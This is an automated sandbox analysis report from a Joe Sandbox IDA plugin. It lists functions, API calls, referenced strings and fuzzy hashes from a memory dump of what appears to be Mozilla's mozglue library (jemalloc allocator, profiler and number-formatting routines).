Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 92b9c2b8844273d8b14869def09b353c846d9b011457e77524e4ef2127ab29e5
Instruction ID: be29958e19337b5981199c57490b888f8a73617aa6799db7cb30f7a58bfb8824
Opcode Fuzzy Hash: 92b9c2b8844273d8b14869def09b353c846d9b011457e77524e4ef2127ab29e5
Instruction Fuzzy Hash: 20323DB460C3828FD734CF24C59069EB7E2AFC9318F548D2DE59987B51DB30A94ACB52

Function 6C825FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C826009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C826024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Q|l,?), ref: 6C826046
OutputDebugStringA.KERNEL32(?,Q|l,?), ref: 6C826061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C826069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C826073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C826082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C84148E), ref: 6C826091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Q|l,00000000,?), ref: 6C8260BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C8260C4

Strings

Q|l, xrefs: 6C825FFC, 6C826042, 6C826045, 6C8260B3

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Q|l
API String ID: 3835517998-2475492089
Opcode ID: 56e6c14479b77745be2097b8e306ae91119e9b63d028b96bd47cc01b45a5d342
Instruction ID: d5172d5f5ae6ad785dbb844cd972118b7b97f1aa35064d2e005e5d3e4f2d6a66
Opcode Fuzzy Hash: 56e6c14479b77745be2097b8e306ae91119e9b63d028b96bd47cc01b45a5d342
Instruction Fuzzy Hash: 1C219171A002189FDB206F24DC4DAAE7BB8FF4521CF00C438E85AA7241DB74AA59CFD1

Function 6C807E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C807ECF, 6C808335
data, xrefs: 6C808280, 6C8083E1
schema, xrefs: 6C8081E3, 6C808311
(pre-xul), xrefs: 6C807E88

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 7914732ad17677585487405b4e7614087a4a4e5cd7b05f0027753b3bc5776a0d
Instruction ID: 644447d0bd46a715df6b8b371b0db7bf096e87749499d5dc96f8297d9cf4a225
Opcode Fuzzy Hash: 7914732ad17677585487405b4e7614087a4a4e5cd7b05f0027753b3bc5776a0d
Instruction Fuzzy Hash: 2CE190B1B043448BC720CF68894466BFBE9BF85314F558D2DE899D7790DB70EC098B92

Function 6C7ED4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C84E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7FD1C5), ref: 6C7ED4F2
LeaveCriticalSection.KERNEL32(6C84E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7FD1C5), ref: 6C7ED50B

Part of subcall function 6C7CCFE0: EnterCriticalSection.KERNEL32(6C84E784), ref: 6C7CCFF6
Part of subcall function 6C7CCFE0: LeaveCriticalSection.KERNEL32(6C84E784), ref: 6C7CD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7FD1C5), ref: 6C7ED52E
EnterCriticalSection.KERNEL32(6C84E7DC), ref: 6C7ED690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7ED6A6
LeaveCriticalSection.KERNEL32(6C84E7DC), ref: 6C7ED712
LeaveCriticalSection.KERNEL32(6C84E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7FD1C5), ref: 6C7ED751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7ED7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C7ED82C
<jemalloc>, xrefs: 6C7ED827

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 2c6d5ebe002c87384159c15823f6f5b47620dadf6a247542e80689c395dc0813
Instruction ID: b6781072e61876fbedfb27f29e4dd7241ad401bacf6e326381f45075518de3c2
Opcode Fuzzy Hash: 2c6d5ebe002c87384159c15823f6f5b47620dadf6a247542e80689c395dc0813
Instruction Fuzzy Hash: 9A91C372A047058FD724CF39C69462AB7E1EBE9318F15893ED59AC7B81D730E844CB86

Function 6C7E5E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C7E5EDB
memset.VCRUNTIME140(6C827765,000000E5,55CCCCCC), ref: 6C7E5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C7E5FB2
memset.VCRUNTIME140(6C827765,000000E5,84C09015), ref: 6C7E61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C7E7652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C7E72F8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C7E72E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C7E7BCD, 6C7E7C1F, 6C7E7C34, 6C7E80FD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C7E730D
MOZ_CRASH(), xrefs: 6C7E7BA4

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 4c689da7bf667b9349efab27bbdb61691e808b63bc699c51fba11398ccc79631
Instruction ID: 4ffd93f0a28813dc3d04ce8748fd849460e510d4c77446ea9de68d87280797df
Opcode Fuzzy Hash: 4c689da7bf667b9349efab27bbdb61691e808b63bc699c51fba11398ccc79631
Instruction Fuzzy Hash: B7336E726057018FD314CF29C690615BBE2BF89328F29C7ADE9698F7A6D731E841CB41

Function 6C824EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C824EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C824F2E
moz_xmalloc.MOZGLUE ref: 6C824F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C824F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8252B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8252E6
Sleep.KERNEL32(00000010), ref: 6C825481
free.MOZGLUE(?), ref: 6C825498

Strings

(, xrefs: 6C825250

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 9e24228c07f3438adf692bc497587ed02db246c75925fc5a19feb0e3264aa45f
Instruction ID: 914941eb6cef02b7714f05e0670ecab14d68682a05eda53f4e09bd5237cd3cbe
Opcode Fuzzy Hash: 9e24228c07f3438adf692bc497587ed02db246c75925fc5a19feb0e3264aa45f
Instruction Fuzzy Hash: E2F1C271A18B408FC726DF39C85462BB7F5AFD6288F058B2EF846A7651DB319841CB81

Function 6C7D7810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C84E744), ref: 6C7D7885
LeaveCriticalSection.KERNEL32(6C84E744), ref: 6C7D78A5
EnterCriticalSection.KERNEL32(6C84E784), ref: 6C7D78AD
LeaveCriticalSection.KERNEL32(6C84E784), ref: 6C7D78CD
EnterCriticalSection.KERNEL32(6C84E7DC), ref: 6C7D78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C7D78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C7D795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C7D79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C7D7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C7D7C82
LeaveCriticalSection.KERNEL32(6C84E7DC), ref: 6C7D7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C7D7DAF

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: bf4a5884dea5882ed5c243256cfaaab3f9e65dff2a77c170bb2a6317e5267a6a
Instruction ID: 76788e6cef996e86ce9b479fbd5c1a0454d0ea99694a80d76aa695235ace09f9
Opcode Fuzzy Hash: bf4a5884dea5882ed5c243256cfaaab3f9e65dff2a77c170bb2a6317e5267a6a
Instruction Fuzzy Hash: F8027371A412198FDB54CF19DA84799B7B5FF88318F2682AAD80DA7715D730BE90CF80

Function 6C7E9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C7E9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C7E9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7E9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C7EA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7EA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7EA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C7EA8B1, 6C7EA8D4, 6C7EA8EF

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: ac31895c155e7e488c2b1359d773d749eb9a088d1a21a846d765262f8fe768bf
Instruction ID: 537b8c04eea5ca45a26a49168cfdc085d93ea5d9a0228cd598cd298aa14188c7
Opcode Fuzzy Hash: ac31895c155e7e488c2b1359d773d749eb9a088d1a21a846d765262f8fe768bf
Instruction Fuzzy Hash: FA725972A157118FD314CF29CA40615FFF1BF89328B29C6ADE8699B791D335E842CB81

Function 6C812C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C812C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C812C61

Part of subcall function 6C7C4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C7C4E5A
Part of subcall function 6C7C4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C7C4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C812C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C812E2D

Part of subcall function 6C7D81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C7D81DE

Strings

(root), xrefs: 6C81354F
expected a Time entry, xrefs: 6C812E36
ProfileBuffer parse error: %s, xrefs: 6C812E3B

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 2a5e95c472a8747f2c2b746a6f2a0fb81d7a7173e387e2aac0e17e64c4f53eba
Instruction ID: 3114ffa7374b989de55a089b67cf8c4abaa8b4087db76bcc29693310bf95692f
Opcode Fuzzy Hash: 2a5e95c472a8747f2c2b746a6f2a0fb81d7a7173e387e2aac0e17e64c4f53eba
Instruction Fuzzy Hash: 9291C0B060C7468FD734CF28C58469EB7E0AF8A358F508D2DE5998BB50DB34D949CB92

Function 6C7EC0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6C7EC317
MOZ_CRASH(), xrefs: 6C7ED4BB

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: efd23c34721ff5b64a392f72aadb9ab401c198c4dc66aa7bea2306c8bda86836
Instruction ID: 031a632e9fe4986f515db5b6fc3dc019cd5479bc983c55b01b82d3f7e14281ed
Opcode Fuzzy Hash: efd23c34721ff5b64a392f72aadb9ab401c198c4dc66aa7bea2306c8bda86836
Instruction Fuzzy Hash: 4E5204366083418FD724DF18C65075ABBF2FBDA319F18892DD8E587B81D7359845CB82

Function 6C7CBEF0 Relevance: 11.2, APIs: 5, Strings: 1, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C7CC1CB
__aulldiv.LIBCMT ref: 6C7CC24C
__aulldiv.LIBCMT ref: 6C7CC348
__aullrem.LIBCMT ref: 6C7CC365
__aulldiv.LIBCMT ref: 6C7CC37D

Strings

dkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmf, xrefs: 6C7CC338, 6C7CC33E, 6C7CC34D, 6C7CC35D, 6C7CC362

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID: dkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmf
API String ID: 2022606265-1773723810
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 2a176454c66f388291362b05b8772859f27e99864fd6593f0c897238bdb53d78
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: F8322532B046128FC718DE2CC891A66BBE6AFC9350F09867DE895CB395D730ED05CB91

Function 6C829E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C829F3D
__aulldiv.LIBCMT ref: 6C829F77
__aullrem.LIBCMT ref: 6C829F8C
__aulldiv.LIBCMT ref: 6C82A023

Strings

NaN, xrefs: 6C829EAB
-Infinity, xrefs: 6C829E60, 6C829E7B

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: c0badc2c0322a0de37ecb3defa1785ca1cc3a8d3960eaa381ee659a9ca5b2cbd
Instruction ID: f1b055f56f4cdb926d5be256aa50eea54cbb0683e7ed653113d1c08af7a23d9f
Opcode Fuzzy Hash: c0badc2c0322a0de37ecb3defa1785ca1cc3a8d3960eaa381ee659a9ca5b2cbd
Instruction Fuzzy Hash: 11C1A171A00319CBDB24CF98CA987DEB7B6FF84714F144929D406ABB80D774A989CBD1

Function 6C7CD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

@, xrefs: 6C7CDAF6
-, xrefs: 6C7CD7DD
8, xrefs: 6C7CDC08
0, xrefs: 6C7CD852
, xrefs: 6C7CDA88
0, xrefs: 6C7CDC7F
9, xrefs: 6C7CDE7F
1, xrefs: 6C7CDBDD

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 0fb5f39783f512a9aa8ee67615b8268e1909108466da04c518af4acfb326b0d3
Instruction ID: 0bb19b140aa12cc734a25f827eabed31b0178343c132f642861b0cd399e2b708
Opcode Fuzzy Hash: 0fb5f39783f512a9aa8ee67615b8268e1909108466da04c518af4acfb326b0d3
Instruction Fuzzy Hash: 0562D17078C3428FD711CE29C29075ABBF2AFA6358F184A2DE4D54BA51C335D885CB8B

Function 6C83545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C838A4B

Strings

~q|l, xrefs: 6C83921F, 6C8356C7, 6C839459, 6C839269, 6C835703, 6C835740, 6C83948F

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: memset
String ID: ~q|l
API String ID: 2221118986-941166941
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: d107636652ab254983678aafc76298574103b1603fbbe81f7888a6e68ccb4e80
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 84B1D872A0122A8FDB24CFA8CDD0799B7B2EF85314F1516A9C54DDB781D730A985CBD0

Function 6C83542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C8388F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C83925C

Strings

~q|l, xrefs: 6C83921F, 6C8356C7, 6C839459, 6C839269, 6C835703, 6C835740, 6C83948F

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: memset
String ID: ~q|l
API String ID: 2221118986-941166941
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 78d1c102115a05252dc25adcec8bc3a0ba17dc065e55f23422038da286d26e4e
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: AAB1D772E0021ACFCB24CE98CD8069DB7B2EF84314F15167AC549DB785D730A989CBD0

Function 6C8350C7 Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C838E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C83925C

Strings

~q|l, xrefs: 6C83921F, 6C8356C7, 6C839459, 6C839269, 6C835703, 6C835740, 6C83948F

Memory Dump Source

